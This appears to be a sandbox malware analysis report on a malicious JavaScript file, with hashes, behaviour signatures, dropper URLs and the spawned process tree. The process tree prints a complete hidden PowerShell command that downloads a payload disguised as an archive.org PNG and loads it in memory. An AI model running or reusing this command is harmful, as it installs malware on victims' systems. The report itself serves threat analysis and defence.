Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 12:50

General

  • Target
    jaffacakes118_3fc34d5ba5e1b7f794fb5b8b3c1fed2fe5a3122409803a283c9f01d392300440.js
  • Size 4.6MB
  • Sample260910-p2wpxsxtf1
  • SHA256 3fc34d5ba5e1b7f794fb5b8b3c1fed2fe5a3122409803a283c9f01d392300440
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://ia801709.us.archive.org/8/items/optimized_msi_20251216_1724/optimized_MSI.png

  • exe.dropper

    https://ia801709.us.archive.org/8/items/optimized_msi_20251216_1724/optimized_MSI.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_3fc34d5ba5e1b7f794fb5b8b3c1fed2fe5a3122409803a283c9f01d392300440.js
    1⤵
      PID:4784
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGxhdGlmdW5kaWFuID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskbGF0aWZ1bmRpYW4uSGVhZGVycy5BZGQoIlVzZXItQWdlbnQiLCAiTW96aWxsYS81LjAiKTskbGF0aWZ1bmRpYW4uSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTskbGF0aWZ1bmRpYW4uSGVhZGVycy5BZGQoIkFjY2VwdC1MYW5ndWFnZSIsICJlbi1VUyxlbjtxPTAuOSIpOyRvcmllbnRhbGl0eSA9ICdodHRwczovL2lhODAxNzA5LnVzLmFyY2hpdmUub3JnLzgvaXRlbXMvb3B0aW1pemVkX21zaV8yMDI1MTIxNl8xNzI0L29wdGltaXplZF9NU0kucG5nJzskenltb3BoeXRlID0gJGxhdGlmdW5kaWFuLkRvd25sb2FkRGF0YSgkb3JpZW50YWxpdHkpOyRhbGxvY2F0b3IgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHp5bW9waHl0ZSk7aWYgKCRhbGxvY2F0b3IgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHsgICRUYW5nZSA9ICRtYXRjaGVzWzFdOyAgJHVubmltYmVkID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkVGFuZ2UpKTsgICRhcmdzQmFzZTY0ID0gJ0p6MDlRV1EwVW01TWVqbEhaSFZXVjJJeFRqSmlSVEZ0Vm5aRlIyUnNRbTVqYUU1SFRYbFZVMWt5Vmxka1R6bDVXZ29OZVRsdFRIbzFSMXB5VGxka2F6VjVXbms1YlV4Nk5VZGFjazVYWkdzMVUyRjZUa2hqZDBZeVkzbFdiV1J3U2toYWVtUXpZbXMxVjJFelFraGhkMUl6WTNab01reDJiMFJqTUZKSVlTY3NKeWNzSjBNNlhGVnpaWEp6WEZCMVlteHBZMXhFYjNkdWJHOWhaSE5jSnl3blRtRnRaVjlHYVd4bEp5d25UWE5pZFdsc1pDY3NKeWNzSjAxelluVnBiR1FuTENjbkxDZG9kSFJ3Y3pvdkwyTmtiaTVrYVhOamIzSmtZWEJ3TG1OdmJTOWhkSFJoWTJodFpXNTBjeTh4TVRneE16YzRPVEF5TVRFMk1ERTJNakl5THpFME16ZzNNakkyTkRReU1qTTFPVEEwTXpBdmMyaHBiUzVxY3o5bGVEMDJPVEUzWldFMk1DWnBjejAyT1RFMk9UaGxNQ1pvYlQxbE1HUXlZbUZoWXpVeVlUaGhaalZpTm1Wa09UUXdOVEpqWmpVME9ETTJaVEpsWWpGak1XSXdPV1kzTmpRNU5UY3paV1kxTVRJMVlXVXdNR1V3WlRrMkppY3NKME02WEZWelpYSnpYRkIxWW14cFkxeEViM2R1Ykc5aFpITmNKeXduVG1GdFpWOUdhV3hsSnl3bmFuTW5MQ2N4Snl3bkp5d25WR0Z6YTE5T1lXMWxKeXduTUNjc0p5Y3NKeWNzSnljPSc7ICAkYXJnc1N0cmluZyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGFyZ3NCYXNlNjQpKTsgICRhcmdzID0gJGFyZ3NTdHJpbmcgLXNwbGl0ICcsJyB8IEZvckVhY2gtT2JqZWN0IHsgJF8uVHJpbSgnJyciJyApIH07ICBbQ2xhc3NMaWJyYXJ5MS5DbGFzczFdLkdldE1ldGhvZCgiVkFJIikuSW52b2tlKCRudWxsLCAkYXJncyk7fQ==')) | Invoke-Expression"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2316

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_eqz0fa4v.bx0.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eqz0fa4v.bx0.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/2316-0-0x000002A0D11F0000-0x000002A0D1200000-memory.dmp

          memory/2316-1-0x000002A0D11F0000-0x000002A0D1200000-memory.dmp

          memory/2316-2-0x000002A0B8FF0000-0x000002A0B9012000-memory.dmp

          memory/2316-10-0x000002A0D11F0000-0x000002A0D1200000-memory.dmp

          memory/2316-11-0x000002A0D11F0000-0x000002A0D1200000-memory.dmp

          memory/2316-13-0x000002A0D11F0000-0x000002A0D1200000-memory.dmp

          memory/2316-12-0x000002A0D11F0000-0x000002A0D1200000-memory.dmp